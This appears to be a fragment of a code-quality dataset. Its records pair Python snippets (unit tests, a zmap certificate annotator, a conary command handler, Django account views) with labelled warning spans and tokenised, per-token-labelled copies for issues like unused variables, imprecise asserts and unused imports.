"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Draw", " ", "sample", " ", "with", " ", "plates", "_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "[_", "[_", "1_", ",_", "0_", "]_", ",_", "[_", "0_", ",_", "1_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "[_", "[_", "[_", "[_", "0_", ",_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "[_", "1_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "1_", "]_", "]_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "states_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "Z_", "._", "random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "z_", ",_", "[_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ",_", "[_", "1_", ",_", "1_", ",_", "1_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Draw", " ", "sample", " ", "with", " ", "plates", ",", " ", "parameter", "s", " ", "broadcast", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "[_", "1_", ",_", "0_", "]_", ",_", "[_", "[_", "0_", ",_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "states_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "(_", "3_", ",_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "Z_", "._", "random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "z_", ",_", "np_", "._", "ones_", "(_", "(_", "3_", ",_", "4_", ",_", "1_", ")_", ")_", "*_", "[_", "0_", ",_", "1_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Draw", " ", "sample", " ", "with", " ", "time", "-", "varying", " ", "transiti", "on", " ", "matrix_", "\\u\\u\\uNL\\u\\u\\u_", "p0_", "=_", "[_", "1_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "[_", "[_", "[_", "0_", ",_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "1_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "1_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "[_", "1_", ",_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "1_", ",_", "0_", "]_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Z_", "=_", "Categori", "cal", "Markov", "Chain_", "(_", "p0_", ",_", "P_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "states_", "=_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "Z_", "._", "random_", "(_", ")_", "\\u\\u\\uNEWLIN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):\n self.displayer.notification(\"message\", 10, False)\n string = self.mock_stdout.write.call_args[0][0]\n\n self.assertTrue(\"message\" in string)", "metadata": "root.FileOutputDisplayTest.test_notification_no_pause", "header": "['class', 'FileOutputDisplayTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 143 }, { "content": " def test_notification_pause(self):\n with mock.patch(\"__builtin__.raw_input\", return_value=\"enter\"):\n self.displayer.notification(\"message\")\n\n self.assertTrue(\"message\" in self.mock_stdout.write.call_args[0][0])", "metadata": "root.FileOutputDisplayTest.test_notification_pause", "header": "['class', 'FileOutputDisplayTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 149 }, { "content": " def test_notification_no_pause(self):\n self.displayer.notification(\"message\", 10)\n string = self.mock_stdout.write.call_args[0][0]\n\n self.assertTrue(\"message\" in string)", "metadata": "root.NoninteractiveDisplayTest.test_notification_no_pause", "header": "['class', 'NoninteractiveDisplayTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 308 } ]
[ { "span": "self.assertTrue(\"message\" in string)", "start_line": 147, "start_column": 8, "end_line": 147, "end_column": 44 }, { "span": "self.assertTrue(\"message\" in self.mock_stdout.write.call_args[0][0])", "start_line": 153, "start_column": 8, "end_line": 153, "end_column": 76 }, { "span": "self.assertTrue(\"message\" in string)", "start_line": 312, "start_column": 8, "end_line": 312, "end_column": 44 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "File", "Output", "Display", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "notification", "\\u", "no", "\\u", "pause_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "displaye", "r_", "._", "notification_", "(_", "\"", "message", "\"_", ",_", "10_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "string_", "=_", "self_", "._", "mock", "\\u", "stdout_", "._", "write_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "message", "\"_", "in_", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "File", "Output", "Display", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "notification", "\\u", "pause_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "mock_", "._", "patch_", "(_", "\"\\u\\u", "bui", "lti", "n", "\\u\\u", ".", "raw", "\\u", "input", "\"_", ",_", "return", "\\u", "value_", "=_", "\"", "enter", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "displaye", "r_", "._", "notification_", "(_", "\"", "message", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "message", "\"_", "in_", "self_", "._", "mock", "\\u", "stdout_", "._", "write_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Non", "interactive", "Display", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "notification", "\\u", "no", "\\u", "pause_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "displaye", "r_", "._", "notification_", "(_", "\"", "message", "\"_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "string_", "=_", "self_", "._", "mock", "\\u", "stdout_", "._", "write_", "._", "call", "\\u", "args_", "[_", "0_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "message", "\"_", "in_", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
zmap/ztag/ztag/annotations/sunmicrosystems.py
[ { "content": " def process(self, obj, meta):\n organization = obj[\"certificate\"][\"parsed\"][\"issuer\"][\"organization\"][0]\n common_name = obj[\"certificate\"][\"parsed\"][\"issuer\"][\"common_name\"][0]\n if \"Sun Microsystems\" in organization:\n meta.global_metadata.manufacturer = Manufacturer.SUN_MICROSYSTEMS\n return meta", "metadata": "root.SunMicroSystems.process", "header": "['class', 'SunMicroSystems', '(', 'Annotation', ')', ':', '___EOS___']", "index": 9 } ]
[ { "span": "common_name ", "start_line": 11, "start_column": 8, "end_line": 11, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Sun", "Micro", "System", "s_", "(_", "Annotation_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "process_", "(_", "self_", ",_", "obj_", ",_", "meta_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "organization_", "=_", "obj_", "[_", "\"", "certifica", "te", "\"_", "]_", "[_", "\"", "parsed", "\"_", "]_", "[_", "\"", "issue", "r", "\"_", "]_", "[_", "\"", "organization", "\"_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "common", "\\u", "name_", "=_", "obj_", "[_", "\"", "certifica", "te", "\"_", "]_", "[_", "\"", "parsed", "\"_", "]_", "[_", "\"", "issue", "r", "\"_", "]_", "[_", "\"", "common", "\\u", "name", "\"_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "Sun", " ", "Micro", "system", "s", "\"_", "in_", "organization_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "meta_", "._", "global", "\\u", "metadata_", "._", "manufacturer_", "=_", "Manufacturer", "_", "._", "SUN", "\\u", "MICRO", "SYSTEM", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "meta_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
sassoftware/conary/conary/cmds/cvccmd.py
[ { "content": " def runCommand(self, thisCommand, cfg, argSet, args, debugAll=False):\n client = conaryclient.ConaryClient(cfg)\n repos = client.getRepos()\n callback = commit.CheckinCallback(cfg)\n\n if not cfg.buildLabel and cfg.installLabelPath:\n cfg.buildLabel = cfg.installLabelPath[0]\n\n sys.excepthook = util.genExcepthook(debug=cfg.debugExceptions,\n debugCtrlC=debugAll)\n\n if cfg.installLabelPath:\n cfg.installLabel = cfg.installLabelPath[0]\n else:\n cfg.installLabel = None\n\n cfg.initializeFlavors()\n log.setMinVerbosity(log.INFO)\n log.resetErrorOccurred()\n\n # set the build flavor here, just to set architecture information\n # which is used when initializing a recipe class\n use.setBuildFlagsFromFlavor(None, cfg.buildFlavor, error=False)\n\n profile = False\n if argSet.has_key('lsprof'):\n import cProfile\n prof = cProfile.Profile()\n prof.enable()\n profile = 'lsprof'\n del argSet['lsprof']\n\n keyCache = openpgpkey.getKeyCache()\n keyCache.setPublicPath(cfg.pubRing)\n repos = conaryclient.ConaryClient(cfg).getRepos()\n keyCacheCallback = openpgpkey.KeyCacheCallback(repos,\n cfg)\n keyCache.setCallback(keyCacheCallback)\n\n try:\n rv = options.MainHandler.runCommand(self, thisCommand,\n cfg, argSet, args,\n callback=callback,\n repos=client.getRepos(),\n profile=profile)\n finally:\n if profile == 'lsprof':\n prof.disable()\n prof.dump_stats('cvc.lsprof')\n prof.print_stats()\n elif profile:\n prof.stop()\n\n if log.errorOccurred():\n sys.exit(2)\n return rv", "metadata": "root.CvcMain.runCommand", "header": "['class', 'CvcMain', '(', 'command', '.', 'MainHandler', ')', ':', '___EOS___']", "index": 1002 } ]
[ { "span": "repos ", "start_line": 1004, "start_column": 8, "end_line": 1004, "end_column": 13 } ]
[ { "span": "repos ", "start_line": 1036, "start_column": 8, "end_line": 1036, "end_column": 13 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Cv", "c", "Main_", "(_", "command_", "._", "Main", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "Command_", "(_", "self_", ",_", "this", "Command_", ",_", "cfg_", ",_", "arg", "Set_", ",_", "args_", ",_", "debug", "All_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client_", "=_", "cona", "ry", "client_", "._", "Con", "ary", "Client_", "(_", "cfg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repos_", "=_", "client_", "._", "get", "Repos", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "=_", "commit_", "._", "Check", "in", "Callback_", "(_", "cfg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "cfg_", "._", "build", "Label_", "and_", "cfg_", "._", "install", "Label", "Path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cfg_", "._", "build", "Label_", "=_", "cfg_", "._", "install", "Label", "Path_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sys_", "._", "except", "hook_", "=_", "util_", "._", "gen", "Except", "hook_", "(_", "debug_", "=_", "cfg_", "._", "debug", "Exceptions_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "debug", "Ctrl", "C_", "=_", "debug", "All_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "cfg_", "._", "install", "Label", "Path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cfg_", "._", "install", "Label_", "=_", "cfg_", "._", "install", "Label", "Path_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cfg_", "._", "install", "Label_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cfg_", "._", "initialize", "Fla", "vor", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "set", "Min", "Verbos", "ity_", "(_", "log_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "reset", "Error", "Occur", "red_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "build", " ", "flavor", " ", "here", ",", " ", "just", " ", "to", " ", "set", " ", "architecture", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whi", "ch", " ", "is", " ", "used", " ", "whe", "n", " ", "initiali", "zin", "g", " ", "a", " ", "recip", "e", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "use_", "._", "set", "Build", "Fla", "gs", "Fro", "m", "Flavor_", "(_", "None_", ",_", "cfg_", "._", "build", "Flavor_", ",_", "error_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "profile_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "arg", "Set_", "._", "has", "\\u", "key_", "(_", "'", "lsp", "rof", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "c", "Profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prof_", "=_", "c", "Profile_", "._", "Profile_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prof_", "._", "enable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile_", "=_", "'", "lsp", "rof", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "arg", "Set_", "[_", "'", "lsp", "rof", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "key", "Cache_", "=_", "openp", "gp", "key_", "._", "get", "Key", "Cache_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "Cache_", "._", "set", "Public", "Path_", "(_", "cfg_", "._", "pub", "Ring_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "repos_", "=_", "cona", "ry", "client_", "._", "Con", "ary", "Client_", "(_", "cfg_", ")_", "._", "get", "Repos", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "Cache", "Callback_", "=_", "openp", "gp", "key_", "._", "Key", "Cache", "Callback_", "(_", "repos_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cfg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "key", "Cache_", "._", "set", "Callback_", "(_", "key", "Cache", "Callback_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", "=_", "options_", "._", "Main", "Handler_", "._", "run", "Command_", "(_", "self_", ",_", "this", "Command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cfg_", ",_", "arg", "Set_", ",_", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "callback_", "=_", "callback_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "repos_", "=_", "client_", "._", "get", "Repos", "_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "profile_", "=_", "profile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "profile_", "==_", "'", "lsp", "rof", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prof_", "._", "disable_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prof_", "._", "dump", "\\u", "stats_", "(_", "'", "cv", "c", ".", "lsp", "rof", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prof_", "._", "print", "\\u", "stats_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "profile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\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edirect, HttpResponseForbidden\nfrom helpers import *\nfrom django.contrib.auth import REDIRECT_FIELD_NAME\nfrom django.conf import settings as settin\nfrom django.contrib import auth\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import views\nimport exceptions\nfrom django.core.urlresolvers import reverse\nimport helpers\nfrom django.core.mail import send_mail\nfrom django.template.loader import render_to_string\nfrom django.views.generic.base import View\nfrom django.views.generic.edit import FormMixin\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import TemplateView\nfrom django.views.generic.edit import FormMixin\n\n\n\ncreate_user = FormCreateUser.as_view()\n\n\n\nuser_manage = UserManageView.as_view()\n\n\n\n\n\n\nreset_password = ResetPassword.as_view\n\n\n\n\n\n\nreset_password_done = ResetPasswordDone.as_view()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class FormCreateUser(FormMixin, View):\n form_class = bforms.UserCreationForm\n template_name = 'registration/create_user.html'\n payload = {'form': 'form', 'loginform': 'loginform'}\n success_url = '/'\n\n", "metadata": "root.FormCreateUser", "header": "['module', '___EOS___']", "index": 20 }, { "content": " def get(self, request, *args, **kwargs):\n form = bforms.UserCreationForm()\n loginform = bforms.LoginForm()\n self.payload['form'] = form\n self.payload['loginform'] = loginform\n return render(self.request, self.payload, 'registration/create_user.html')", "metadata": "root.FormCreateUser.get", "header": "['class', 'FormCreateUser', '(', 'FormMixin', ',', 'View', ')', ':', '___EOS___']", "index": 26 }, { "content": " def form_valid(self, form):\n form.save()\n from django.contrib.auth import authenticate\n user = authenticate(username = form.cleaned_data['username'], password = form.cleaned_data['password1'])\n login(request, user)\n return super(FormCreateUser,self).form_valid(form)", "metadata": "root.FormCreateUser.form_valid", "header": "['class', 'FormCreateUser', '(', 'FormMixin', ',', 'View', ')', ':', '___EOS___']", "index": 33 }, { "content": "class UserManageView(TemplateView, FormMixin):\n \"Allows a user to manage their account\"\n\n template_name = 'news/usermanage.html'\n password_form_class = bforms.PasswordChangeForm\n def_topic_form_class = bforms.SetDefaultForm\n\n\n\n\n", "metadata": "root.UserManageView", "header": "['module', '___EOS___']", "index": 43 }, { "content": " @method_decorator(login_required)\n def dispatch(self, *args, **kwargs):\n return super(UserManageView, self).dispatch(*args, **kwargs)", "metadata": "root.UserManageView.dispatch", "header": "['class', 'UserManageView', '(', 'TemplateView', ',', 'FormMixin', ')', ':', '___EOS___']", "index": 50 }, { "content": " def get(self, request, *args, **kwargs):\n subs = SubscribedUser.objects.filter(user=self.request.user).select_related()\n passwordchangeform = self.password_form_class(request.user)\n invites = Invite.objects.filter(user=request.user)\n def_topic_form = self.def_topic_form_class(request.user)\n payload = dict(subs=subs, form=passwordchangeform, invites=invites, def_topic_form=def_topic_form)\n return render(self.request, payload, 'news/usermanage.html')", "metadata": "root.UserManageView.get", "header": "['class', 'UserManageView', '(', 'TemplateView', ',', 'FormMixin', ')', ':', '___EOS___']", "index": 54 }, { "content": " def post(self, request):\n if request.POST.has_key('remove'):\n topic_name = request.POST['topic']\n topic = Topic.objects.get(name=topic_name)\n sub = SubscribedUser.objects.get(user = request.user, topic = topic)\n sub.delete()\n if request.POST.has_key('changepassword'):\n passwordchangeform = self.password_form_class(request.user, request.POST)\n if passwordchangeform.is_valid():\n passwordchangeform.save()\n return self.form_valid(passwordchangeform)\n else:\n return self.form_invalid(passwordchangeform)\n\n if request.POST.has_key('setdef'):\n # def_topic_form = bforms.SetDefaultForm(request.user, request.POST)\n def_topic_form = self.def_topic_form_class(request.user)\n if def_topic_form.is_valid():\n def_topic_form.save()\n return self.form_valid(def_topic_form)\n else:\n return self.form_invalid(def_topic_form)\n #return HttpResponseRedirect('.')", "metadata": "root.UserManageView.post", "header": "['class', 'UserManageView', '(', 'TemplateView', ',', 'FormMixin', ')', ':', '___EOS___']", "index": 62 }, { "content": " def get_success_url(self):\n return reverse(\n 'user_manage',\n )", "metadata": "root.UserManageView.get_success_url", "header": "['class', 'UserManageView', '(', 'TemplateView', ',', 'FormMixin', ')', ':', '___EOS___']", "index": 86 }, { "content": " def form_valid(self, form):\n #self.object = self.get_object()\n # record the interest using the message in form.cleaned_data\n return super(UserManageView, self).form_valid(form)", "metadata": "root.UserManageView.form_valid", "header": "['class', 'UserManageView', '(', 'TemplateView', ',', 'FormMixin', ')', ':', '___EOS___']", "index": 91 }, { "content": "def activate_user(request, username):\n user = User.objects.get(username=username)\n try:\n key = EmailActivationKey.objects.get(user = user)\n except EmailActivationKey.DoesNotExist:\n return HttpResponseForbidden('The activion key was wrong. Your email could not be validated.')\n request_key = request.GET.get('key', '')\n if request_key == key.key:\n profile = user.get_profile()\n profile.email_validated = True\n profile.save()\n key.delete()\n payload = {}\n return render(request, payload, 'registration/email_validated.html')\n else:\n return HttpResponseForbidden('The activation key was wrong. Your email could not be validated.')", "metadata": "root.activate_user", "header": "['module', '___EOS___']", "index": 99 }, { "content": "class ResetPassword(View):\n payload = {'form': 'form'}\n\n", "metadata": "root.ResetPassword", "header": "['module', '___EOS___']", "index": 117 }, { "content": " def get(self, request):\n form = bforms.PasswordResetForm()\n self.payload['form'] = form\n return render(request, self.payload, 'registration/reset_password.html')", "metadata": "root.ResetPassword.get", "header": "['class', 'ResetPassword', '(', 'View', ')', ':', '___EOS___']", "index": 120 }, { "content": " def post(self, request):\n form = bforms.PasswordResetForm(request.POST)\n self.payload['form'] = form\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('reset_password_sent'))\n return render(request, self.payload, 'registration/reset_password.html')", "metadata": "root.ResetPassword.post", "header": "['class', 'ResetPassword', '(', 'View', ')', ':', '___EOS___']", "index": 125 }, { "content": "def reset_password_sent(request):\n payload = {}\n return render(request, payload, 'registration/reset_password_sent.html')", "metadata": "root.reset_password_sent", "header": "['module', '___EOS___']", "index": 137 }, { "content": "class ResetPasswordDone(View):\n template_name = 'registrion/password_reset_done.html'\n", "metadata": "root.ResetPasswordDone", "header": "['module', '___EOS___']", "index": 142 }, { "content": " def get(self, request, username):\n user = User.objects.get(username=username)\n try:\n key = PasswordResetKey.objects.get(user = user)\n except PasswordResetKey.DoesNotExist:\n return HttpResponseForbidden('The key you provided was wrong. Your password could not be reset.')\n request_key = request.GET.get('key', '')\n if request_key == key.key:\n password = helpers.generate_random_key()\n user.set_password(password)\n mail_text = render_to_string('registraion/password_reset_done.txt', dict(user=user, password=password))\n send_mail('Password reset', mail_text, '[email protected]', [user.email])\n key.delete()\n payload = {}\n return render(request, payload, 'registration/password_reset_done.html')\n else:\n return HttpResponseForbidden('The key you provided was wrong. Your password could nit be reset.')", "metadata": "root.ResetPasswordDone.get", "header": "['class', 'ResetPasswordDone', '(', 'View', ')', ':', '___EOS___']", "index": 145 } ]
[ { "span": "from django.contrib.auth import REDIRECT_FIELD_NAME", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 51 }, { "span": "from django.conf import settings as settin", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 42 }, { "span": "from django.contrib import auth", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 31 }, { "span": "from django.contrib.auth import views", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 37 }, { "span": "import exceptions", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 17 } ]
[]
1
false
